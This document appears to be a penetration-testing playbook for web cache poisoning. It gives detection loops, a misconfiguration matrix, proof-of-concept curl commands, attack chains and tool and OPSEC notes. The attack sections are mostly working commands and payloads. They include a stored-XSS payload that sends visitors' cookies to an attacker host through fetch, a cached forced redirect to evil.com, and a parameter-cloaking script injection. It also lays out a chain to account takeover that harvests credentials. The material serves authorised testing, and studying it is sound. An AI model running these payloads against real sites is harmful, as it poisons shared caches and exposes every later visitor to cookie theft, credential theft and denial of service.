Web Cache Poisoning Playbook
Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.
1. Detection — find unkeyed inputs
Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.
URL="https://<TARGET>/"
# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned
2. Misconfig / technique matrix
| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs |
stored open-redirect / XSS |
| Scheme downgrade | X-Forwarded-Scheme: http reflected |
force-HTTP cache → MITM |
| Port confusion | X-Forwarded-Port: 1 reflected into JS asset URLs |
broken site DoS |
| Routing override | X-Original-URL: /admin, X-Rewrite-URL |
cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) |
poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips ;jsessionid) |
desync key vs. response |
Cache-key injection via Vary gap |
response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns Cache-Control: private, CDN ignores it |
private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
3. Exploit PoC
3.1 Stored-XSS via unkeyed Host
# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
-H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'
3.2 Forced redirect
curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login (cached for the TTL)
3.3 Param-cloaking poison (Ruby/Rails-style last-wins vs. CDN first-wins)
curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"
4. Chains
- Cache poisoning → stored XSS: reflected XSS upgraded to mass-victim impact via cached response.
- Cache poisoning → ATO: poison
/loginto send creds to attacker via swapped form action. - Cache poisoning → SSRF: poison API responses an internal job consumes.
- Smuggling → cache poisoning: HTTP request smuggling stores arbitrary attacker response globally.
5. Tools
- Burp Suite — Param Miner extension (Hackvertor + cache rules) — the canonical tool
cache-poisoningpayload lists (PortSwigger research)httpx -follow-redirects -title -tech-detectfor fingerprinting Vary/X-Cache
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated X-Forwarded-* permutations on one URL |
WAF rule / access log | Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |
Mass Age: 0 on poisoned paths |
CDN metric | Coordinate purge with the defender before disclosure |
Decision Gate: poisoning confirmed → exploitation
- Caching layer present (
X-Cache: HIT,Age:ticks) - At least one unkeyed input reflects into response/redirect
- A second request without the input still returns the poisoned response
- Reflected payload reaches a security-sensitive sink (script, Location, form action)
- Defender notified before live-cache exploitation (authorized scope)
If all checked, escalate per
finding-protocol; otherwise downgrade.